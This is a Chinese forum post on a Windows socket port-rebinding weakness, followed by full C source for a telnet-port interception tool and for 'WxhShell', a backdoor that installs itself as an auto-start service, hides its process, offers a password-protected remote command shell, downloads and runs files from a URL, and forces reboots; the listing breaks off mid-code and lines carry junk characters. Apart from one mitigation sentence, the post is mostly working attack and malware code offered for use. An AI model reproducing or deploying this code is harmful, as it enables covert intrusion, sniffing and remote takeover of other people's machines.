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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: f`p"uLNo<  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); e:=+~F(f  
Rhh.fV3  
  saddr.sin_family = AF_INET; HQrx9CXE  
2;YL+v2  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Gv 6#LcF#  
[L>AU; :  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); lf2(h4[1R  
S{qsq\X  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 B%KfB VC  
Us8nOr>5  
  这意味着什么?意味着可以进行如下的攻击: c]/&xRd  
nnMRp7LQ-  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 /@K1"/fqH  
f.Ms3))  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Tw9?U,]  
);ZxKGjc4  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 RMBPm*H  
b'G!)n  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。   x5W. 3*  
}<G#bh6;Q  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 }%k 3  
{us"=JJVN  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 -Deqlaf(  
+ Scw;gO  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &e1(|qax  
Ea?u5$>gY"  
  #include 0-zIohSJdQ  
  #include Z66q0wR7  
  #include zgA/B{DaC;  
  #include    B}Sl1)E  
  DWORD WINAPI ClientThread(LPVOID lpParam);   !"N-To-c  
  int main() A\~tr   
  { $rmfE  
  WORD wVersionRequested; qX!P:M  
  DWORD ret; !Ytr4DtM  
  WSADATA wsaData; :HDU \|{^  
  BOOL val; @ykM98K  
  SOCKADDR_IN saddr; i 9wk)  
  SOCKADDR_IN scaddr; <>^otb,e$  
  int err; 0^&-j.9  
  SOCKET s; OG}m+K&<  
  SOCKET sc; 5<L+T  
  int caddsize; H6]z98  
  HANDLE mt; S%k](\7!  
  DWORD tid;   Cw&U*H  
  wVersionRequested = MAKEWORD( 2, 2 ); Kv-4VWh  
  err = WSAStartup( wVersionRequested, &wsaData ); ,.&y-?  
  if ( err != 0 ) { X2hyxTOp  
  printf("error!WSAStartup failed!\n"); W\JwEb9Y  
  return -1; X\'+);Z  
  } o-%DL*^5  
  saddr.sin_family = AF_INET; YVB\9{H?  
   NU$?BiB?R  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 :I^I=A%Pe(  
x6B_5eF  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @EzO bE{  
  saddr.sin_port = htons(23); ;]xJC j  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) z\ ?cazQ  
  { uP veAK}h  
  printf("error!socket failed!\n"); $oU40HA)W]  
  return -1; W=@]YI  
  } nRlvW{p;  
  val = TRUE; QIZbAnn_  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Id;YIycXe  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) tgB\;nbB  
  { _qQB.Dzo:  
  printf("error!setsockopt failed!\n"); CP!>V:w%9!  
  return -1; Ju.B!)uS#  
  } F~tT5?+  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Erd)P  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %>Y86>mVz  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 RkuPMs Hw;  
4` zfrT^  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ?oO<PR}y  
  { LU4k/  
  ret=GetLastError(); UN6Du\)]d  
  printf("error!bind failed!\n"); Ot#O];3  
  return -1; =UW! 7OzC  
  } o:irwfArv  
  listen(s,2); DYKJVn7w  
  while(1) DHlCus=ic  
  { l3C%`[MB  
  caddsize = sizeof(scaddr); Z U^dLN- N  
  //接受连接请求 o<r|YRzQl  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); o|?bvFC  
  if(sc!=INVALID_SOCKET) {Ex*8sU%p%  
  { #- hYjE5  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); xVn"xk  
  if(mt==NULL) -$js5 Gx1  
  { $<(FZb=  
  printf("Thread Creat Failed!\n"); U ,wJ8  
  break; vhQIkB8  
  } )|?s!rw +  
  } O8drR4 Pt  
  CloseHandle(mt); ]d|:&h  
  } lSzLR~=Au  
  closesocket(s); 05cyWg9a  
  WSACleanup(); v8>?,N#  
  return 0; oSOO5dk:z  
  }   r)G^V&96  
  DWORD WINAPI ClientThread(LPVOID lpParam) u d V. $N  
  { |_^A$Hv  
  SOCKET ss = (SOCKET)lpParam; ?4 fXCb]7  
  SOCKET sc; "=S< xT+  
  unsigned char buf[4096]; =E?!!EIq.  
  SOCKADDR_IN saddr; D< h+r?  
  long num; ,c;u]  
  DWORD val; mu?6Phj  
  DWORD ret; 3 0fsVwE2  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ^6E+l#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   [o0Z; }fU  
  saddr.sin_family = AF_INET; _*I@ J/  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); z"@yE*6  
  saddr.sin_port = htons(23); $\ 0d9^)&  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {{WA=\N8C  
  { Q8kdX6NMd&  
  printf("error!socket failed!\n"); :bhpYEUMx  
  return -1; e /4{pe+,  
  } eXqS9`zKr  
  val = 100; $YX\&%N  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]H4T80wm&  
  { dBKceL v  
  ret = GetLastError(); X(Wd  
  return -1; j JxV)AIY  
  } JToc("V  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _'yN4>=6u  
  { g0P^O@8  
  ret = GetLastError(); 9,4Lb]  
  return -1; %6vf~oG  
  } %ifq4'?Z   
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) H|1owmbD  
  { ,&1DKx  
  printf("error!socket connect failed!\n"); i+2fWi6Z+  
  closesocket(sc); %)Pn<! L  
  closesocket(ss); Aqwjs 3  
  return -1; S|{'.XG  
  } YM idSfi  
  while(1) me+F0:L  
  { yH'vhtop  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 u7oHqo`  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Y 7a<3>  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 |-W7n'n  
  num = recv(ss,buf,4096,0); }w0>mA0=H  
  if(num>0) yj6o533o  
  send(sc,buf,num,0); Yy$GfjJtL]  
  else if(num==0) thYG1Cs  
  break; B}%B4&Ij  
  num = recv(sc,buf,4096,0); 39|4)1e  
  if(num>0) m@r+M"!R  
  send(ss,buf,num,0); &: i|;^^2  
  else if(num==0) :3z`+5Y*  
  break; 8J P{`)  
  } |hp_<F9.  
  closesocket(ss); FZW)C'j  
  closesocket(sc); fgs){ Ng`  
  return 0 ; CLb~6LD  
  } s)=fs#%  
T+OQa+E@P  
+J^-B}v  
========================================================== ]}3AP!:  
Q -!,yCu  
下边附上一个代码,,WXhSHELL t8Sblgq  
_&Hq`KJm  
========================================================== FCC9Ht8U?  
O>Vb7`z0<  
#include "stdafx.h" T ~9)0A"]  
c~@Z  
#include <stdio.h> /kl41gx  
#include <string.h> :N \j@yJK  
#include <windows.h> /'V(F* g  
#include <winsock2.h> nN=o/zd  
#include <winsvc.h> bZ-"R 6a$  
#include <urlmon.h> %_rdO(   
)575JY `6K  
#pragma comment (lib, "Ws2_32.lib") }:5_vH0  
#pragma comment (lib, "urlmon.lib") ^BDM'  
q .[hwm  
#define MAX_USER   100 // 最大客户端连接数 [^rT: %Z  
#define BUF_SOCK   200 // sock buffer %\5 wHT+)  
#define KEY_BUFF   255 // 输入 buffer ,G";ny[$  
WE_jT1^/  
#define REBOOT     0   // 重启 (=hXt=hZ  
#define SHUTDOWN   1   // 关机 ^hG Y,\K9  
&d"c6il[  
#define DEF_PORT   5000 // 监听端口 X2X.&^  
T7vSp<i/  
#define REG_LEN     16   // 注册表键长度 v!\\aG/  
#define SVC_LEN     80   // NT服务名长度 2E V M*^A  
6`/nA4S4.  
// 从dll定义API 8<,b5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Pm2T!0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  b)7uz>I  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); mN5`Fct*A>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (7C&I- l  
jwm2ZJW  
// wxhshell配置信息 + 9vd(c  
struct WSCFG { 3~zK :(  
  int ws_port;         // 监听端口 D}n&`^1X+  
  char ws_passstr[REG_LEN]; // 口令 l>l)m-;O  
  int ws_autoins;       // 安装标记, 1=yes 0=no yc./:t1at>  
  char ws_regname[REG_LEN]; // 注册表键名 AJ0qq  
  char ws_svcname[REG_LEN]; // 服务名 YeN /J.R  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3Uzb]D~u  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 fZoV\a6Kj  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Irk@#,{<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no mI55vNyer  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5hNjJqu  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 kbqG)  
Q.5C$I  
}; z93HTy9  
: K%{?y  
// default Wxhshell configuration rgQ6/3}qc  
struct WSCFG wscfg={DEF_PORT, VieX 5  
    "xuhuanlingzhe", |K},f,  
    1, y[U/5! `zV  
    "Wxhshell", v3b[08 F  
    "Wxhshell", ,vfi]_PK  
            "WxhShell Service", "qEi$a&]  
    "Wrsky Windows CmdShell Service", }*WNrS">S  
    "Please Input Your Password: ", )` nX~_'p  
  1, yN* H IN  
  "http://www.wrsky.com/wxhshell.exe", pdcP;.   
  "Wxhshell.exe" ./_o+~\e'  
    }; Of)EBa<5^  
44H#8kV  
// 消息定义模块 A>;Q<8rh  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; . &dh7` l  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8no_xFA  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?klV;+  
char *msg_ws_ext="\n\rExit."; EJ$-  
char *msg_ws_end="\n\rQuit."; `v*UY  
char *msg_ws_boot="\n\rReboot..."; i^c  
char *msg_ws_poff="\n\rShutdown..."; zCrDbGvqF`  
char *msg_ws_down="\n\rSave to "; z^s40707x  
% K$om|]p  
char *msg_ws_err="\n\rErr!"; ;#np~gL  
char *msg_ws_ok="\n\rOK!"; t`b>iX%(1t  
xkv2#"*v  
char ExeFile[MAX_PATH]; f_`gUMf  
int nUser = 0; }}a<!L,{  
HANDLE handles[MAX_USER]; `aY{$>$S  
int OsIsNt; D-)jmz>R  
FhJ8}at+e  
SERVICE_STATUS       serviceStatus; tw. 2h'D  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; DKV^c'  
kyQUaFG  
// 函数声明 LOY+^  
int Install(void); |yE_M-Nc  
int Uninstall(void); TNs0^h)  
int DownloadFile(char *sURL, SOCKET wsh); M8Y\1#~  
int Boot(int flag); 9Y:JA]U&8  
void HideProc(void);  3nfw:.  
int GetOsVer(void); :Jp$_T&E  
int Wxhshell(SOCKET wsl); "y R56`=  
void TalkWithClient(void *cs); SB#YV   
int CmdShell(SOCKET sock); 3L24|-GxH  
int StartFromService(void); 1tvgM !.  
int StartWxhshell(LPSTR lpCmdLine); D#>+]}5@x  
;6N@raP7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9*!C|gC9Ia  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); S>~QuCMY  
&]VCZQL  
// 数据结构和表定义 h1 \)_jxA  
SERVICE_TABLE_ENTRY DispatchTable[] = h.Cr;w,2R  
{ 6&(gp(F  
{wscfg.ws_svcname, NTServiceMain}, V1R=`  
{NULL, NULL} kc&>l (  
}; ?#@JH  
5.J$0wK'6  
// 自我安装 Xrnxpp!#^D  
int Install(void) 6l|pTyb1  
{ 5MJ`B: He+  
  char svExeFile[MAX_PATH]; `r"euO r\  
  HKEY key; (>m3WI$d  
  strcpy(svExeFile,ExeFile); xwxMVp`|o  
mk JS_6  
// 如果是win9x系统,修改注册表设为自启动 &wj;:f  
if(!OsIsNt) { jKV,i?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |;q*Zy(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1nh2()QI[  
  RegCloseKey(key); 7+aTrE{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y$3H$F.+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Gy36{*  
  RegCloseKey(key); 3 wVN:g7  
  return 0; J-lQPMI,  
    } 2#Fc4RR;  
  } ;$W/le"Xr  
} *JXiOs  
else { ]E90q/s@c  
L|G!of[8n  
// 如果是NT以上系统,安装为系统服务  eWO^n>Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u/FnA-L4  
if (schSCManager!=0) ;czMsHu0X  
{ -d\O{{%>.z  
  SC_HANDLE schService = CreateService E^S[8=  
  ( @YyTXg{ZK  
  schSCManager, 2Mx9Kd'a r  
  wscfg.ws_svcname, TRG(W^<F  
  wscfg.ws_svcdisp, 8:,E=swe  
  SERVICE_ALL_ACCESS, Oqzz9+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , CQfrAk4mu  
  SERVICE_AUTO_START, q#B^yk|Y  
  SERVICE_ERROR_NORMAL, 5,!,mor$]  
  svExeFile, yTw0\yiO  
  NULL, U6qv8*~  
  NULL, #3maT*JY  
  NULL, (x9d7$2  
  NULL, fclmxTy  
  NULL b7>^w<ki  
  ); yn<z!z%mz  
  if (schService!=0) ;J pdnV  
  { BDY@&vF  
  CloseServiceHandle(schService); '01H8er  
  CloseServiceHandle(schSCManager); bL 5z%bV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *W q{ :k  
  strcat(svExeFile,wscfg.ws_svcname); i> Ssp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { dwks"5l  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); D"fE )@Q@Y  
  RegCloseKey(key); 5,>1rd<B  
  return 0; We3*WsX\  
    } N m-{$U  
  } +v%V1lf^~  
  CloseServiceHandle(schSCManager); Ky`rf}cI>  
} zcItZP  
} |E-0P=h  
4R\bU"+jZ_  
return 1; C,C%1  
} HGmgQ>q@M$  
H n+1I  
// 自我卸载 $DW3H1iW  
int Uninstall(void) F.?`<7  
{ (5?5? <  
  HKEY key; l(9$s4R  
aR.1&3fE  
if(!OsIsNt) { k%#`{#n i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5=Mm=HyI2  
  RegDeleteValue(key,wscfg.ws_regname); Q17"hO>kC  
  RegCloseKey(key); { 'Hi_b3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]aq!@rDX  
  RegDeleteValue(key,wscfg.ws_regname); 9Qp39(l:  
  RegCloseKey(key); hb9X<N+p  
  return 0; 8%JxXtWW`  
  } R3F>"(P@tS  
} [.B)W);  
} a8aEZ724  
else { -yeQQ4b  
<5/r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); PEZElB ;  
if (schSCManager!=0) I.tJ4  
{ zvL&V .>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); joDnjz=  
  if (schService!=0) ?RvXO'ml  
  { |x["fWK  
  if(DeleteService(schService)!=0) { @~fg[)7M  
  CloseServiceHandle(schService); nL@ "FZ`(  
  CloseServiceHandle(schSCManager); 4NbX! "0  
  return 0; ?ECmPS1  
  } }GsZ)\!$4  
  CloseServiceHandle(schService); *x[B g]/  
  } 6BVV2j)zl:  
  CloseServiceHandle(schSCManager); k(o[T),_%0  
} dv-yZRU:  
} lDV8<  
{f#{NA5  
return 1; 0IBVR,q  
} Pca~V>Hd  
'Z'X`_  
// 从指定url下载文件 cO<]%L0  
int DownloadFile(char *sURL, SOCKET wsh) wKum{X8  
{ _3tHzDSG#  
  HRESULT hr; q#v.-013r  
char seps[]= "/"; i9k7rEW^  
char *token; l9 )iLOj  
char *file; >5wA B  
char myURL[MAX_PATH]; zy4AFW  
char myFILE[MAX_PATH]; WM: ~P$%cx  
ADA%$NhJ!  
strcpy(myURL,sURL); !798%T  
  token=strtok(myURL,seps); 4 C[,S|J  
  while(token!=NULL) f2_LfbvH  
  { I!jSAc{  
    file=token; C!XI0d  
  token=strtok(NULL,seps); 3XY$w&f  
  } u_@%}zo?5*  
,oIZ5u{#,  
GetCurrentDirectory(MAX_PATH,myFILE); +@]1!|@(  
strcat(myFILE, "\\"); |`s}PcV  
strcat(myFILE, file); (U2G"  
  send(wsh,myFILE,strlen(myFILE),0); PTA;a 0A  
send(wsh,"...",3,0); i2.y)K)  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); x `PIJE  
  if(hr==S_OK) cGkl=-oQ'  
return 0; hiaj!&+Q  
else <?52Svi}}  
return 1; /`hr)  
]~8bh*,=  
} /`\-.S9  
&[*_ -  
// 系统电源模块 "+_]N9%)  
int Boot(int flag) \bQ|O7s  
{ oHI~-{m3)  
  HANDLE hToken; k(=\& T  
  TOKEN_PRIVILEGES tkp; 5YC56,X  
p$f#W  
  if(OsIsNt) { i0-!!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qS&PMQ"$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Qat%<;P2  
    tkp.PrivilegeCount = 1; E2(;R!ML#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 98Srn63O  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *IGxa  
if(flag==REBOOT) { FtM7+>Do.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) BGOI$,  
  return 0; @[=*w`1  
} R|V<2  
else { ?MKf=! w  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <B`}18x  
  return 0; ||`w MWq  
} H4l:L(!D  
  }  ~Zl`Ap  
  else { edGV[=]F  
if(flag==REBOOT) { *^Zt5 zk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Q)#<T]~=  
  return 0; *Q!b%DIa$  
} (n"  )  
else { C$*`c6R  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) L!S-f4^5  
  return 0; pC8(>gV<h  
} c::x.B"w  
} %T'?7^\>  
nyQ FS  
return 1; 1Dt"Rcn"4  
} [ R~+p#l+Q  
x ?^c:`.  
// win9x进程隐藏模块 V.y+u7<3}  
void HideProc(void) T:)>Tcv}:  
{ d.2b7q09  
r0\bi6;s/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); dZ%b|CUb  
  if ( hKernel != NULL ) *N>Qj-KAM_  
  { dC(6s=4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); w-B\AK?}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #H!~:Xu   
    FreeLibrary(hKernel); l06 q1M 3  
  } P? 9CBhN  
N"r ;d+LTL  
return; `b\4h/~  
} GK&yP%Z3  
UBqK$2 #  
// 获取操作系统版本 3M%EK2,  
int GetOsVer(void) YvYavd  
{ ++ dV5  
  OSVERSIONINFO winfo; T&R`s+7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8OBvC\%  
  GetVersionEx(&winfo); Bs##3{ylu  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) LL[ +QcH  
  return 1; $hKgTf?  
  else ,7j`5iq[m  
  return 0; c U{LyZp  
} mceSUKI;L  
hA@X;Mh^w  
// 客户端句柄模块 F)gL=6h  
int Wxhshell(SOCKET wsl) ?5(L.XFm  
{ M2s   
  SOCKET wsh; yBl<E$=  
  struct sockaddr_in client; y.O? c &!  
  DWORD myID; _p_F v>>:  
N$y4>g  
  while(nUser<MAX_USER) PH7L#H^  
{ 9723f1&Vd  
  int nSize=sizeof(client); AGv;8'`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 26Yg?:kP  
  if(wsh==INVALID_SOCKET) return 1; #t/Q4X +  
qnA:[H;F  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); yjSN;3t71  
if(handles[nUser]==0) -"cN9RF  
  closesocket(wsh); mD=?C  
else Fx@ {]  
  nUser++; "|Pl(HX  
  } =?f}h{8x>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); fk"{G>&8  
}!d}febk_  
  return 0; ALw uw^+  
} \O0fo^+U,,  
mi-\PD>X  
// 关闭 socket 4/h2_  
void CloseIt(SOCKET wsh) 5sE^MS1  
{ AH7k|6ku<*  
closesocket(wsh); %b*%'#iK  
nUser--; )F~_KD)7jJ  
ExitThread(0); fC-^[Af)  
} iM9563v  
}UO,R~q~  
// 客户端请求句柄 r zvX~B6  
void TalkWithClient(void *cs) $?s^HKF~  
{ :rj78_e9  
H,I}R  
  SOCKET wsh=(SOCKET)cs; ]u,~/Gy  
  char pwd[SVC_LEN]; 3Yf$WE8#l  
  char cmd[KEY_BUFF]; UP`q6] P  
char chr[1]; ms{R|vU%b  
int i,j; [a`i{(!  
J~}UG]j n  
  while (nUser < MAX_USER) { %*gO<U4L]  
H|!s.  
if(wscfg.ws_passstr) { F9<OKcXH  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o2|(0uN'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I,S'zHR  
  //ZeroMemory(pwd,KEY_BUFF); 4w?7AI]Ej  
      i=0; {L=[1  
  while(i<SVC_LEN) { K@i*Nl  
U\ L"\N7  
  // 设置超时 iWCV(!  
  fd_set FdRead; "a g_   
  struct timeval TimeOut; `u}x:f !  
  FD_ZERO(&FdRead); j"V$J8)[  
  FD_SET(wsh,&FdRead); $"i690  
  TimeOut.tv_sec=8; O7\s1 V;  
  TimeOut.tv_usec=0; W"*R#:Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ep?0@5D}]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); H94.E|Q\+  
md`ToU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /OP*ARoC21  
  pwd=chr[0]; H6I #Xj  
  if(chr[0]==0xd || chr[0]==0xa) { s]N-n?'G"  
  pwd=0; ]R@G5d  
  break; V!P3CNK  
  } 9PJDT]  
  i++; </X"*G't  
    } j+9 S  
d0B+syl&4l  
  // 如果是非法用户,关闭 socket Ig<p(G.;}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Oe YLL4H  
} Wa(S20y F  
sV<4^n7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q7r,5w& cm  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =5`@:!t7  
b8>9mKs  
while(1) { :/NN =3e  
bw\=F_>L  
  ZeroMemory(cmd,KEY_BUFF); w#T,g9  
S:YL<_oI|  
      // 自动支持客户端 telnet标准   C6w{"[Wv=X  
  j=0; a,~P_B|@  
  while(j<KEY_BUFF) { &w0=/G/T=~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m3!M L>nLt  
  cmd[j]=chr[0]; hBhkb ~Oky  
  if(chr[0]==0xa || chr[0]==0xd) { ^0Q*o1W  
  cmd[j]=0; f>dkT'4  
  break; qfu2}qUX~%  
  } lc-|Q#$3$  
  j++; d*$<%J  
    } [MS.5+1Y  
Y2-bU 7mo  
  // 下载文件 }NCvaO  
  if(strstr(cmd,"http://")) { P;%QA+%7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6t:c]G'J  
  if(DownloadFile(cmd,wsh)) m;f?}z_\$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3.X0!M;x  
  else )F9r?5}v4x  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); + nS/jW  
  } bFezTl{M  
  else { od1omYsR  
Zk UuniO  
    switch(cmd[0]) { fR4l4 GU?)  
  7[BL 1HI*  
  // 帮助 }G+A_HF ^  
  case '?': { FH8mK)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i8_x1=A  
    break; a~F@3Pd  
  } b',bi.FH  
  // 安装 WgJAr73 l  
  case 'i': { !`[I>:Ex  
    if(Install()) JjLyV`DJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Treh{s  
    else %8CT -mQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q5nyD/k4c  
    break; Gr$*t,ZW  
    } Ln2C#Uf  
  // 卸载 Hu8atlpo  
  case 'r': { arS'th:j  
    if(Uninstall()) |$w={N^4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N5s|a5  
    else NK9WrUj)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^>8]3@ Nh  
    break; q'F_ j"  
    } 6'Yn|A  
  // 显示 wxhshell 所在路径 XYHCggy  
  case 'p': { eM=)>zl  
    char svExeFile[MAX_PATH]; uuYH6bw*d  
    strcpy(svExeFile,"\n\r"); BrH;(*H)8  
      strcat(svExeFile,ExeFile); _~ZQ b  
        send(wsh,svExeFile,strlen(svExeFile),0); VnSj:LUD  
    break; P!+nZXo  
    } 8;g.3Qv  
  // 重启 =j+oKGkoCa  
  case 'b': { {L4>2rF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >Ug?O~-  
    if(Boot(REBOOT)) K= Z]#bm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !N8)C@=  
    else { ?ey&Un"  
    closesocket(wsh); uxC   
    ExitThread(0); Kwl qi]~  
    } *76viqY;dE  
    break; w$lfR ,  
    } J'ZFIT_>  
  // 关机 9MB\z"b?A  
  case 'd': { 3H'nRK},  
